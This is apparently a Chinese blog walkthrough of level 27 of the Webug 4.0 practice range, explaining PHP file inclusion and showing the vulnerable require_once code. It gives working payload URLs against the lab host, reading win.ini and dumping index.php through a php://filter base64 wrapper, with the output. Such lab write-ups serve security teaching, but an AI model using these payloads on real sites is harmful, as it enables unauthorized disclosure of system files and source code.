Webug4.0靶场通关笔记22- 第27关文件包含

目录

一、文件包含

1、原理分析

2、文件包含函数

[(1)include( )](#(1)include( ))

[(2)include_once( )](#(2)include_once( ))

[(3)require( )](#(3)require( ))

[(4)require_once( )](#(4)require_once( ))

二、第27关渗透实战

1、打开靶场

2、源码分析

3、渗透实战

(1)查看敏感信息

(2)查看源码


本文通过《webug4靶场第27关 文件包含》来进行文件包含攻击渗透实战。

一、文件包含

1、原理分析

文件包含漏 洞的产生原因是在通过引入文件时,由于传入的文件名没有经过合理的校验,或者校检被绕过,从而操作了预想之外的文件,就可能导致意外的文件泄露甚至恶意的代码注入。这是因为Web应用在开发的过程中允许包含外部文件,如 PHP 中的include()、require()等函数,当这些函数使用用户可控的参数来指定包含的文件路径时,如果应用程序没有对用户输入进行充分的验证和过滤,就可能导致文件包含攻击。攻击者通过构造恶意的文件路径,使得通过文件包含攻击执行恶意文件,从而达到执行任意代码、获取敏感信息等目的。

  • 当被包含的文件在服务器本地时,就形成的本地文件包含。
  • 当被包含的文件在远程服务器时,就形成的远程文件包含。

2、文件包含函数

PHP****中提供了四个文件包含的函数

(1)include( )

include() 当代码执行到include()函数时才将文件包含进行,发生错误时会给出一个告警,程序继续往下执行。

(2)include_once**( )**

include_once() 功能与include()相同,区别在于当重复调用一个文件时,程序只调用一次。

(3)require( )

require() 与include()函数区别在于require()执行如果发生错误,函数会输出错误信息,并终止程序运行。

(4)require_once**( )**

require_once() 功能与require()相同,区别在于当重复调用同一个文件时,程序只调用一次。

二、第27关渗透实战

1、打开靶场

本关卡与前面的任意文件下载类似,都是对文件名没有进行过滤,如下所示打开靶场第27关。

复制代码
http://192.168.71.1/webug4/control/more/file_include.php?filename=../../template/dom_xss.html

2、源码分析

查看webug靶场第27关的index.php源码,如下所示对filename参数没进行任何过滤,存在require_once函数对filename的调用,故而具有文件包含风险,很明显产生的根本原因是源码对用户GET型输入参数filename的信任度过高,没有对包含文件的路径进行严格的验证和过滤,导致攻击者能够操纵文件包含过程,实现恶意目的。

复制代码
<?php

require_once "../../common/common.php";
if (!isset($_SESSION['user'])) {
    header("Location:../login.php");
}

if (isset($_GET["filename"])) {
    if (!empty($_GET["filename"])) {
        $path = $_GET['filename'];
        require_once $path;
    }
}

3、渗透实战

(1)查看敏感信息

通过使用如下命令查看敏感文件。

复制代码
?filename=c://windows/win.ini

完整的URL地址如下所示。

复制代码
http://192.168.71.1/webug4/control/more/file_include.php?filename=c://windows/win.ini

(2)查看源码

使用php://filter/read=convert.base64-encode/resource=伪协议进行渗透,注入语句如下所示。

复制代码
filename=php://filter/read=convert.base64-encode/resource=../../index.php

完整的URL如下所示。

复制代码
http://192.168.71.1/webug4/control/more/file_include.php?filename=php://filter/read=convert.base64-encode/resource=../../index.php

获取到的base64编码为

复制代码
PD9waHANCi8qKg0KICogQ3JlYXRlZCBieSBQaHBTdG9ybS4NCg0KDQoyMTo1Mg0KICovDQpyZXF1aXJlX29uY2UgImNvbW1vbi9jb21tb24ucGhwIjsNCg0KDQppZiAoaXNzZXQoJF9TRVNTSU9OWyd1c2VyJ10pKSB7DQogICAgaGVhZGVyKCJMb2NhdGlvbjouL2NvbnRyb2wvd2VfYnVnX2Vudi5waHAiKTsNCn0gZWxzZXsNCiAgICBoZWFkZXIoIkxvY2F0aW9uOi4vY29udHJvbC9sb2dpbi5waHAiKTsNCn0=

接下来进行base64解码,可以使用base64在线解码工具

Base64 在线编码解码 | Base64 加密解密 - Base64.us

解码后的结果如下所示,成功获取到index.php网站的源码。

复制代码
<?php
/**
 * Created by PhpStorm.


21:52
 */
require_once "common/common.php";


if (isset($_SESSION['user'])) {
    header("Location:./control/we_bug_env.php");
} else{
    header("Location:./control/login.php");
}
相关推荐
黑客笔记25 分钟前
安全态势感知中的告警误报思考
大数据·深度学习·神经网络·web安全
你好我是小美3 小时前
分析XSSstrike源码
学习·安全·web安全·网络安全·自动化
qq_243050794 小时前
Protos-SIP:经典 SIP 协议模糊测试工具!全参数详细教程!Kali Linux教程!
linux·网络·web安全·网络安全·黑客·voip·kali linux
黑客笔记7 小时前
网络安全的学习路线是怎么样的?
大数据·web安全
独行soc17 小时前
2025年渗透测试面试题总结-匿名[校招]高级安全工程师(代码审计安全评估)(题目+回答)
linux·安全·web安全·面试·职场和发展·渗透测试
mooyuan天天18 小时前
pikachu靶场通关笔记06 XSS关卡02-反射型POST
网络·web安全·反射型xss·pikachu靶场·xss漏洞
独行soc21 小时前
2025年渗透测试面试题总结-匿名[校招]安全研究员(SAST方向)(题目+回答)
linux·安全·web安全·面试·职场和发展·渗透测试
枷锁—sha1 天前
【HW系列】—溯源与定位—Windows入侵排查
windows·安全·web安全
赛卡1 天前
汽车安全 2030 预测 (功能安全FuSa、预期功能安全SOTIF、网络安全CyberSecurity):成本、效益与行业影响
人工智能·安全·web安全·车载系统·自动驾驶·汽车
这是另一个世界1 天前
Kali Linux从入门到实战:系统详解与工具指南
linux·运维·服务器·网络·学习·web安全·网络安全